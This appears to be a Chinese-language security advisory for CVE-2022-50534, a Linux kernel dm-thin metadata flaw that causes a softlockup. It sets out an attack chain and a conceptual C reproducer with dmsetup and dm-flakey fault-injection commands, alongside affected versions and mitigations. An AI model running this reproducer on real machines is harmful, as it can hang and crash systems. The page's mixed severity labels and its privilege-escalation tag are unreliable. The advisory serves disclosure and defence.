IPBUF安全漏洞报告
English
CVE-2022-50534 CVSS 5.5 中危

CVE-2022-50534 Linux内核dm thin元数据损坏导致软锁死漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50534
漏洞类型
拒绝服务/软锁死
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (dm_thin_pool模块)

相关标签

Linux Kerneldm-thindevice-mapper拒绝服务软锁死元数据损坏B树本地提权内核漏洞CVE-2022-50534

漏洞概述

CVE-2022-50534是Linux内核device-mapper thin provisioning(dm thin)子系统中的一个高危拒绝服务漏洞。该漏洞源于dm thin池在事务提交失败时未正确处理元数据根节点(pmd->root),导致在只读模式下查找数据块时可能陷入无限循环,造成系统软锁死(softlockup)。具体而言,当事务提交过程中部分节点写入磁盘成功而部分失败时,pmd->root可能指向一个混合了新旧节点的损坏B树结构。在后续的dm_btree_lookup查找过程中,由于B树中存在指向陈旧节点的引用,查找操作可能陷入死循环,导致内核工作队列挂起,最终触发看门狗超时并引发内核崩溃。该漏洞影响所有使用dm thin池的Linux系统,可被低权限本地用户触发,造成系统完全不可用。由于该漏洞需要本地访问权限且需要低权限认证,因此CVSS评分为5.5,评定为中危等级。该漏洞已在2025年10月披露,并已在多个稳定内核版本中修复。

技术细节

该漏洞的技术原理涉及dm thin池的B树元数据管理机制。在dm thin的正常操作中,当数据块需要从外部设备复制(copy-up)时,会创建新的B树节点路径并更新pmd->root指针。具体场景如下:

1. **事务1阶段**:pmd->root最初指向路径A->B->C,随后在copy-up过程中更新为新路径X->Y->Z。
2. **事务2阶段**:节点X和Z成功写入磁盘,但节点Y写入失败,导致commit操作失败,dm thin进入read-only模式。
3. **查找阶段**:在只读模式下处理读请求时,dm_thin_find_block调用dm_btree_lookup从pmd->root开始查找数据块。由于pmd->root指向的B树包含陈旧节点Y(可能指向任意块,如X),导致查找操作在X和Y之间无限循环。

**根本原因**:当commit失败时,内核没有回滚pmd->root到上一个成功提交的事务的根节点,而是保留了损坏的B树结构。

**修复方案**:通过在__open_metadata()中正确设置pmd->root,确保在commit失败的情况下dm thin使用上一个成功事务的pmd->root,从而避免使用损坏的B树结构。

**触发条件**:需要本地低权限用户能够触发dm thin池的copy-up操作并使其commit失败,例如通过底层存储设备的I/O错误模拟。

攻击链分析

STEP 1
步骤1:环境准备
攻击者在本地配置dm thin池,创建精简卷(thin volume),并准备底层存储设备。可通过dmsetup工具创建thin-pool和精简逻辑卷。
STEP 2
步骤2:触发Copy-up操作
向精简卷写入数据,触发dm thin的copy-up机制。copy-up会创建新的B树路径,更新pmd->root指针从旧路径(如A->B->C)到新路径(如X->Y->Z)。
STEP 3
步骤3:注入I/O错误
在commit过程中,通过dm-flakey或fault injection使元数据设备的部分写入操作失败。例如使Y节点写入失败但X和Z节点写入成功。
STEP 4
步骤4:commit失败
由于部分节点写入失败,事务commit失败,dm thin进入read-only模式,但pmd->root仍指向损坏的B树结构。
STEP 5
步骤5:触发软锁死
在read-only模式下处理读请求时,dm_thin_find_block调用dm_btree_lookup,由于B树中Y节点包含指向X的陈旧引用,查找操作在X和Y之间无限循环,导致内核工作队列挂起。
STEP 6
步骤6:系统崩溃
看门狗检测到hung task,触发内核panic,系统完全不可用,需要重启恢复。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50534 Reproducer Concept // This is a conceptual PoC to trigger the dm thin softlockup vulnerability // by simulating a failed commit during copy-up operation. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/dm-ioctl.h> // Step 1: Setup dm thin pool with backing store // dmsetup create pool --table "0 20971520 thin-pool /dev/loop1 /dev/loop2 2048 2048" // Step 2: Create thin volume // dmsetup create thin --table "0 20971520 thin /dev/mapper/pool 0" // Step 3: Trigger copy-up by writing to a shared block // while simultaneously causing I/O errors on backing metadata device int main() { int fd; char buf[4096]; // Open the thin volume fd = open("/dev/mapper/thin", O_RDWR); if (fd < 0) { perror("open thin volume"); return 1; } memset(buf, 'A', sizeof(buf)); // Write to trigger copy-up operation // This causes dm thin to create new btree path (X->Y->Z) if (write(fd, buf, sizeof(buf)) < 0) { perror("write"); } // At this point, if Y write fails while X and Z succeed, // pmd->root will point to a corrupted btree // Subsequent reads will trigger infinite loop in dm_btree_lookup // Trigger read on the same block to invoke dm_thin_find_block if (pread(fd, buf, sizeof(buf), 0) < 0) { perror("pread"); } close(fd); return 0; } // Note: To actually trigger the bug, the backing metadata device // must experience I/O errors during the commit phase. // This can be simulated using dm-flakey or fault injection: // dmsetup create flakey-meta --table "0 4096 flakey /dev/loop2 0 0 5 error" // Then use /dev/mapper/flakey-meta as the metadata device for the thin pool.

影响范围

Linux Kernel < 4.9.337
Linux Kernel 4.10.x - 4.14.x (< 4.14.303)
Linux Kernel 4.15.x - 4.19.x (< 4.19.270)
Linux Kernel 4.20.x - 5.4.x (< 5.4.229)
Linux Kernel 5.5.x - 5.10.x (< 5.10.165)
Linux Kernel 5.11.x - 5.15.x (< 5.15.90)
Linux Kernel 5.16.x - 5.19.x (< 5.19.12)
Linux Kernel 6.0.x (< 6.0.2)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制本地低权限用户对dm thin设备的访问权限;2)确保底层存储设备(如元数据设备)的可靠性,避免I/O错误;3)使用dm-flakey等工具进行故障注入测试时谨慎操作;4)监控系统日志中的dm thin相关错误信息,及时发现commit失败事件;5)配置看门狗超时时间,以便在软锁死发生时能够自动重启系统;6)考虑使用其他存储方案(如LVM thin provisioning的替代方案)替代dm thin。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表